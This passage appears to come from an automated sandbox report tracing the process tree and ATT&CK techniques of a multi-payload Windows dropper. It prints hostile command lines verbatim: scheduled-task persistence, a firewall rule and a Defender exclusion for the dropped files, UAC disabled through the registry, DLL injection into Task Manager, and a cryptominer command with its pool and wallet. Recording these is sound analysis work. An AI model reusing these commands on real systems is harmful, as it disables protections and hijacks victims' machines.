PID 3772 wrote to memory of 2636	3772	4363463463464363463463463.bin.exe	StealerClient_Sharp_1_4.exe
PID 3772 wrote to memory of 992	3772	4363463463464363463463463.bin.exe	ma.exe
PID 3772 wrote to memory of 992	3772	4363463463464363463463463.bin.exe	ma.exe
PID 992 wrote to memory of 424	992	ma.exe	cmd.exe
PID 992 wrote to memory of 424	992	ma.exe	cmd.exe
PID 424 wrote to memory of 2544	424	cmd.exe	timeout.exe
PID 424 wrote to memory of 2544	424	cmd.exe	timeout.exe
PID 424 wrote to memory of 4800	424	cmd.exe	.exe
PID 424 wrote to memory of 4800	424	cmd.exe	.exe
PID 4800 wrote to memory of 2484	4800	.exe	cmd.exe
PID 4800 wrote to memory of 2484	4800	.exe	cmd.exe
PID 2484 wrote to memory of 2372	2484	cmd.exe	schtasks.exe
PID 2484 wrote to memory of 2372	2484	cmd.exe	schtasks.exe
PID 3772 wrote to memory of 3516	3772	4363463463464363463463463.bin.exe	7e207560.exe
PID 3772 wrote to memory of 3516	3772	4363463463464363463463463.bin.exe	7e207560.exe
PID 3772 wrote to memory of 3516	3772	4363463463464363463463463.bin.exe	7e207560.exe
PID 2132 wrote to memory of 2640	2132	powershell.exe	7e207560.exe
PID 2132 wrote to memory of 2640	2132	powershell.exe	7e207560.exe
PID 2132 wrote to memory of 2640	2132	powershell.exe	7e207560.exe
PID 2784 wrote to memory of 2360	2784	d21cbe21e38b385a41a68c5e6dd32f4c.exe	powershell.exe
PID 2784 wrote to memory of 2360	2784	d21cbe21e38b385a41a68c5e6dd32f4c.exe	powershell.exe
PID 2784 wrote to memory of 2360	2784	d21cbe21e38b385a41a68c5e6dd32f4c.exe	powershell.exe
PID 3772 wrote to memory of 4696	3772	4363463463464363463463463.bin.exe	BBLb.exe
PID 3772 wrote to memory of 4696	3772	4363463463464363463463463.bin.exe	BBLb.exe
PID 4800 wrote to memory of 2392	4800	.exe	vbc.exe
PID 4800 wrote to memory of 2392	4800	.exe	vbc.exe
PID 4800 wrote to memory of 2392	4800	.exe	vbc.exe
PID 4800 wrote to memory of 2392	4800	.exe	vbc.exe
PID 4800 wrote to memory of 2392	4800	.exe	vbc.exe
PID 4800 wrote to memory of 2392	4800	.exe	vbc.exe
PID 4800 wrote to memory of 2392	4800	.exe	vbc.exe
PID 3772 wrote to memory of 4288	3772	4363463463464363463463463.bin.exe	osminogs.exe
PID 3772 wrote to memory of 4288	3772	4363463463464363463463463.bin.exe	osminogs.exe
PID 3772 wrote to memory of 4288	3772	4363463463464363463463463.bin.exe	osminogs.exe
PID 3772 wrote to memory of 4812	3772	4363463463464363463463463.bin.exe	ghjk.exe
PID 3772 wrote to memory of 4812	3772	4363463463464363463463463.bin.exe	ghjk.exe
PID 3772 wrote to memory of 4812	3772	4363463463464363463463463.bin.exe	ghjk.exe
PID 3772 wrote to memory of 664	3772	4363463463464363463463463.bin.exe	File300un.exe
PID 3772 wrote to memory of 664	3772	4363463463464363463463463.bin.exe	File300un.exe
PID 3772 wrote to memory of 664	3772	4363463463464363463463463.bin.exe	File300un.exe
PID 3772 wrote to memory of 2124	3772	4363463463464363463463463.bin.exe	sc.exe
PID 3772 wrote to memory of 2124	3772	4363463463464363463463463.bin.exe	sc.exe

System policy modification 1 TTPs 1 IoCs
evasion

Modify Registry
T1112

Processes:

File300un.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" File300un.exe
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Views/modifies file attributes 1 TTPs 1 IoCs
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exe

pid process

5480 attrib.exe

outlook_office_path 1 IoCs

Processes:

openwith.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-3063448957-1373478339-3486599166-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	openwith.exe

outlook_win_path 1 IoCs

Processes:

openwith.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-3063448957-1373478339-3486599166-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	openwith.exe

c:\windows\system32\sihost.exe
sihost.exe
1⤵
PID:2936

C:\Windows\SysWOW64\dialer.exe
"C:\Windows\system32\dialer.exe"
2⤵
PID:5720

C:\Windows\SysWOW64\dialer.exe
"C:\Windows\system32\dialer.exe"
2⤵
PID:7088

C:\Windows\SysWOW64\dialer.exe
"C:\Windows\system32\dialer.exe"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:7412

C:\Windows\system32\openwith.exe
"C:\Windows\system32\openwith.exe"
2⤵
- Accesses Microsoft Outlook profiles
- Suspicious use of SetThreadContext
- Checks processor information in registry
- outlook_office_path
- outlook_win_path
PID:6620

C:\Program Files\Windows Media Player\wmpnscfg.exe
"C:\Program Files\Windows Media Player\wmpnscfg.exe"
3⤵
PID:9328

C:\Program Files\Windows Media Player\wmlaunch.exe
"C:\Program Files\Windows Media Player\wmlaunch.exe"
3⤵
PID:9724

C:\Program Files\Windows Media Player\wmplayer.exe
"C:\Program Files\Windows Media Player\wmplayer.exe"
3⤵
PID:10108

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3800

C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.bin.exe
"C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.bin.exe"
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3772

C:\Users\Admin\AppData\Local\Temp\Files\dayroc.exe
"C:\Users\Admin\AppData\Local\Temp\Files\dayroc.exe"
2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:648

C:\Users\Admin\AppData\Local\Temp\nine.exe
"C:\Users\Admin\AppData\Local\Temp\nine.exe"
3⤵
- Executes dropped EXE
PID:5068

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5068 -s 496
4⤵
- Program crash
PID:924

C:\Users\Admin\AppData\Local\Temp\d21cbe21e38b385a41a68c5e6dd32f4c.exe
"C:\Users\Admin\AppData\Local\Temp\d21cbe21e38b385a41a68c5e6dd32f4c.exe"
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:524

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 524 -s 384
4⤵
- Program crash
PID:4188

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 524 -s 364
4⤵
- Program crash
PID:4896

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 524 -s 400
4⤵
- Program crash
PID:2620

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 524 -s 620
4⤵
- Program crash
PID:628

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 524 -s 656
4⤵
- Program crash
PID:1812

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 524 -s 692
4⤵
- Program crash
PID:2572

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 524 -s 720
4⤵
- Program crash
PID:4584

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 524 -s 768
4⤵
- Program crash
PID:1208

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 524 -s 620
4⤵
- Program crash
PID:2004

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 524 -s 680
4⤵
- Program crash
PID:3776

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 524 -s 680
4⤵
- Program crash
PID:3676

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 524 -s 696
4⤵
- Program crash
PID:1960

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 524 -s 812
4⤵
- Program crash
PID:1520

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 524 -s 580
4⤵
- Program crash
PID:2204

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 524 -s 844
4⤵
- Program crash
PID:1192

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 524 -s 680
4⤵
- Program crash
PID:3980

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 524 -s 592
4⤵
- Program crash
PID:1732

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 524 -s 704
4⤵
- Program crash
PID:4468

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 524 -s 804
4⤵
- Program crash
PID:4652

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2488

C:\Users\Admin\AppData\Local\Temp\d21cbe21e38b385a41a68c5e6dd32f4c.exe
"C:\Users\Admin\AppData\Local\Temp\d21cbe21e38b385a41a68c5e6dd32f4c.exe"
4⤵
- Windows security bypass
- Executes dropped EXE
- Windows security modification
- Adds Run key to start application
- Checks for VirtualBox DLLs, possible anti-VM trick
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:2784

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2784 -s 360
5⤵
- Program crash
PID:2368

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2784 -s 416
5⤵
- Program crash
PID:2164

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2784 -s 376
5⤵
- Program crash
PID:1460

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2784 -s 592
5⤵
- Program crash
PID:2868

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2784 -s 628
5⤵
- Program crash
PID:208

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2784 -s 680
5⤵
- Program crash
PID:4636

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2784 -s 632
5⤵
- Program crash
PID:3632

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2784 -s 636
5⤵
- Program crash
PID:2660

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2784 -s 772
5⤵
- Program crash
PID:1116

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
5⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2360

C:\Windows\System32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
5⤵
PID:4696

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
6⤵
- Modifies Windows Firewall
- Modifies data under HKEY_USERS
PID:4584

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
5⤵
- Executes dropped EXE
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2132

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
5⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1648

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe
5⤵
- Executes dropped EXE
- Adds Run key to start application
- Manipulates WinMonFS driver.
PID:2172

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2172 -s 384
6⤵
- Program crash
PID:1132

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2172 -s 392
6⤵
- Program crash
PID:4680

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2172 -s 408
6⤵
- Program crash
PID:2960

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2172 -s 372
6⤵
- Program crash
PID:4272

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2172 -s 692
6⤵
- Program crash
PID:1132

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2172 -s 772
6⤵
- Program crash
PID:1460

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2172 -s 696
6⤵
- Program crash
PID:4532

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2172 -s 780
6⤵
- Program crash
PID:4792

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2172 -s 908
6⤵
- Program crash
PID:5072

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
6⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2244

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
6⤵
- Creates scheduled task(s)
PID:5252

C:\Windows\SYSTEM32\schtasks.exe
schtasks /delete /tn ScheduledUpdate /f
6⤵
PID:5124

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
6⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:1164

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2172 -s 680
6⤵
- Program crash
PID:1516

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2172 -s 952
6⤵
- Program crash
PID:5944

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
6⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:3532

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2172 -s 992
6⤵
- Program crash
PID:2196

C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
6⤵
PID:6360

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
6⤵
- Creates scheduled task(s)
PID:5152

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
6⤵
PID:10480

C:\Users\Admin\AppData\Local\Temp\toolspub1.exe
"C:\Users\Admin\AppData\Local\Temp\toolspub1.exe"
3⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:3500

C:\Users\Admin\AppData\Local\Temp\Files\app1.exe
"C:\Users\Admin\AppData\Local\Temp\Files\app1.exe"
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4160

C:\Users\Admin\AppData\Local\Temp\Files\6.exe
"C:\Users\Admin\AppData\Local\Temp\Files\6.exe"
2⤵
- Executes dropped EXE
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:1468

C:\Users\Admin\AppData\Local\Temp\Files\StealerClient_Sharp_1_4.exe
"C:\Users\Admin\AppData\Local\Temp\Files\StealerClient_Sharp_1_4.exe"
2⤵
- Executes dropped EXE
PID:2636

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2636 -s 828
3⤵
- Program crash
PID:4676

C:\Users\Admin\AppData\Local\Temp\Files\ma.exe
"C:\Users\Admin\AppData\Local\Temp\Files\ma.exe"
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:992

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp9599.tmp.bat""
3⤵
- Suspicious use of WriteProcessMemory
PID:424

C:\Windows\system32\timeout.exe
timeout 3
4⤵
- Delays execution with timeout.exe
PID:2544

C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe
"C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"
4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4800

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ERGVRDVMSK" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"
5⤵
- Suspicious use of WriteProcessMemory
PID:2484

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o fr-zephyr.miningocean.org:5342 -u ZEPHYR2dNRNd7BpuKZoXnqZu7WiTzoMXE8EhzsTJDnXV9ZDksih16M2EazfmCb3ax9Z78hH9iJMxSQE1NBkPCK6W3M8SBGcc7ZC2z -p work -a rx/0 --donate-level 1 --opencl
5⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:2392

C:\Users\Admin\AppData\Local\Temp\Files\7e207560.exe
"C:\Users\Admin\AppData\Local\Temp\Files\7e207560.exe"
2⤵
- Executes dropped EXE
- Writes to the Master Boot Record (MBR)
PID:3516

C:\Users\Admin\AppData\Local\Temp\Files\asas.exe
"C:\Users\Admin\AppData\Local\Temp\Files\asas.exe"
2⤵
PID:4696

C:\Windows\System32\werfault.exe
\??\C:\Windows\System32\werfault.exe
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1960

C:\Users\Admin\AppData\Local\Temp\Files\cs_maltest.exe
"C:\Users\Admin\AppData\Local\Temp\Files\cs_maltest.exe"
2⤵
PID:4288

C:\Users\Admin\AppData\Local\Temp\Files\ghjk.exe
"C:\Users\Admin\AppData\Local\Temp\Files\ghjk.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:4812

C:\Users\Admin\AppData\Local\Temp\BBLb.exe
"C:\Users\Admin\AppData\Local\Temp\BBLb.exe"
3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4696

C:\Users\Admin\AppData\Local\Temp\BBLb.exe
C:\Users\Admin\AppData\Local\Temp\BBLb.exe
4⤵
PID:5276

C:\Users\Admin\AppData\Local\Temp\Files\ghjk.exe
C:\Users\Admin\AppData\Local\Temp\Files\ghjk.exe
3⤵
- Executes dropped EXE
PID:5564

C:\Users\Admin\AppData\Local\Temp\Files\ghjk.exe
C:\Users\Admin\AppData\Local\Temp\Files\ghjk.exe
3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
PID:5524

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5524 -s 516
4⤵
- Program crash
PID:3304

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5524 -s 496
4⤵
- Program crash
PID:4444

C:\Users\Admin\AppData\Local\Temp\Files\File300un.exe
"C:\Users\Admin\AppData\Local\Temp\Files\File300un.exe"
2⤵
- UAC bypass
- Windows security bypass
- Executes dropped EXE
- Windows security modification
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- System policy modification
PID:664

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Files\File300un.exe" -Force
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:628

C:\Windows\SYSWOW64\calc.exe
"C:\Windows\SYSWOW64\calc.exe"
3⤵
PID:2856

C:\Users\Admin\AppData\Local\Temp\Files\sc.exe
"C:\Users\Admin\AppData\Local\Temp\Files\sc.exe"
2⤵
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Launches sc.exe
PID:2124

C:\Users\Admin\AppData\Local\Temp\Files\a5d66a7d45ad000c9925a7cc663df2a8944fcd5cf8de64533ea36f545599ca39.exe
"C:\Users\Admin\AppData\Local\Temp\Files\a5d66a7d45ad000c9925a7cc663df2a8944fcd5cf8de64533ea36f545599ca39.exe"
2⤵
- Executes dropped EXE
PID:4840

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4840 -s 820
3⤵
- Program crash
PID:4684

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4840 -s 836
3⤵
- Program crash
PID:488

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4840 -s 876
3⤵
- Program crash
PID:4288

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4840 -s 852
3⤵
- Program crash
PID:2244

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4840 -s 860
3⤵
- Program crash
PID:2480

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4840 -s 936
3⤵
- Program crash
PID:1400

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4840 -s 916
3⤵
- Program crash
PID:4340

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im "a5d66a7d45ad000c9925a7cc663df2a8944fcd5cf8de64533ea36f545599ca39.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\Files\a5d66a7d45ad000c9925a7cc663df2a8944fcd5cf8de64533ea36f545599ca39.exe" & exit
3⤵
PID:3780

C:\Windows\SysWOW64\taskkill.exe
taskkill /im "a5d66a7d45ad000c9925a7cc663df2a8944fcd5cf8de64533ea36f545599ca39.exe" /f
4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:744

C:\Users\Admin\AppData\Local\Temp\Files\1.exe
"C:\Users\Admin\AppData\Local\Temp\Files\1.exe"
2⤵
- Executes dropped EXE
PID:516

C:\Users\Admin\AppData\Local\Temp\Files\installer.exe
"C:\Users\Admin\AppData\Local\Temp\Files\installer.exe"
2⤵
- Executes dropped EXE
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:4388

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2292

C:\Users\Admin\AppData\Local\Temp\Files\june.exe
"C:\Users\Admin\AppData\Local\Temp\Files\june.exe"
2⤵
- Executes dropped EXE
PID:3492

C:\Users\Admin\AppData\Local\Temp\is-L5SCJ.tmp\june.tmp
"C:\Users\Admin\AppData\Local\Temp\is-L5SCJ.tmp\june.tmp" /SL5="$402DC,5927631,54272,C:\Users\Admin\AppData\Local\Temp\Files\june.exe"
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
PID:4556

C:\Users\Admin\AppData\Local\Temp\Files\crypted.exe
"C:\Users\Admin\AppData\Local\Temp\Files\crypted.exe"
2⤵
PID:2176

C:\Users\Admin\AppData\Local\Temp\Files\for.exe
"C:\Users\Admin\AppData\Local\Temp\Files\for.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:876

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:512

C:\Users\Admin\AppData\Roaming\configurationValue\bott.exe
"C:\Users\Admin\AppData\Roaming\configurationValue\bott.exe"
4⤵
- Executes dropped EXE
PID:32

C:\Users\Admin\AppData\Roaming\configurationValue\STAR.exe
"C:\Users\Admin\AppData\Roaming\configurationValue\STAR.exe"
4⤵
- Drops startup file
- Executes dropped EXE
PID:2676

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qemu-ga.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qemu-ga.exe"
5⤵
- Executes dropped EXE
PID:652

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "RegAsm.exe"
4⤵
PID:5780

C:\Windows\SysWOW64\choice.exe
choice /C Y /N /D Y /T 3
5⤵
PID:5452

C:\Users\Admin\AppData\Local\Temp\Files\asdfg.exe
"C:\Users\Admin\AppData\Local\Temp\Files\asdfg.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4028

C:\Users\Admin\AppData\Local\Temp\Files\asdfg.exe
C:\Users\Admin\AppData\Local\Temp\Files\asdfg.exe
3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:6216

C:\Users\Admin\AppData\Local\Temp\Files\beacon_certutil.exe
"C:\Users\Admin\AppData\Local\Temp\Files\beacon_certutil.exe"
2⤵
- Executes dropped EXE
PID:4776

C:\Users\Admin\AppData\Local\Temp\Files\ghjkl.exe
"C:\Users\Admin\AppData\Local\Temp\Files\ghjkl.exe"
2⤵
- Executes dropped EXE
PID:356

C:\Users\Admin\AppData\Local\Temp\Files\tempate.exe
"C:\Users\Admin\AppData\Local\Temp\Files\tempate.exe"
2⤵
PID:1600

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
3⤵
PID:5508

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
3⤵
PID:5536

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
3⤵
PID:5516

C:\Users\Admin\AppData\Local\Temp\Files\syncUpd.exe
"C:\Users\Admin\AppData\Local\Temp\Files\syncUpd.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:5996

C:\Users\Admin\AppData\Local\Temp\Files\niks.exe
"C:\Users\Admin\AppData\Local\Temp\Files\niks.exe"
2⤵
- Modifies Windows Defender Real-time Protection settings
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Windows security modification
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:2888

C:\Users\Admin\AppData\Local\Temp\Files\amert.exe
"C:\Users\Admin\AppData\Local\Temp\Files\amert.exe"
2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
PID:4040

C:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exe
"C:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exe"
3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Adds Run key to start application
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:4516

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\Admin\AppData\Local\Temp\1000030041\do.ps1"
4⤵
PID:5532

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com
5⤵
- Enumerates system info in registry
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
PID:5432

C:\Program Files\Google\Chrome\Application\chrome.exe
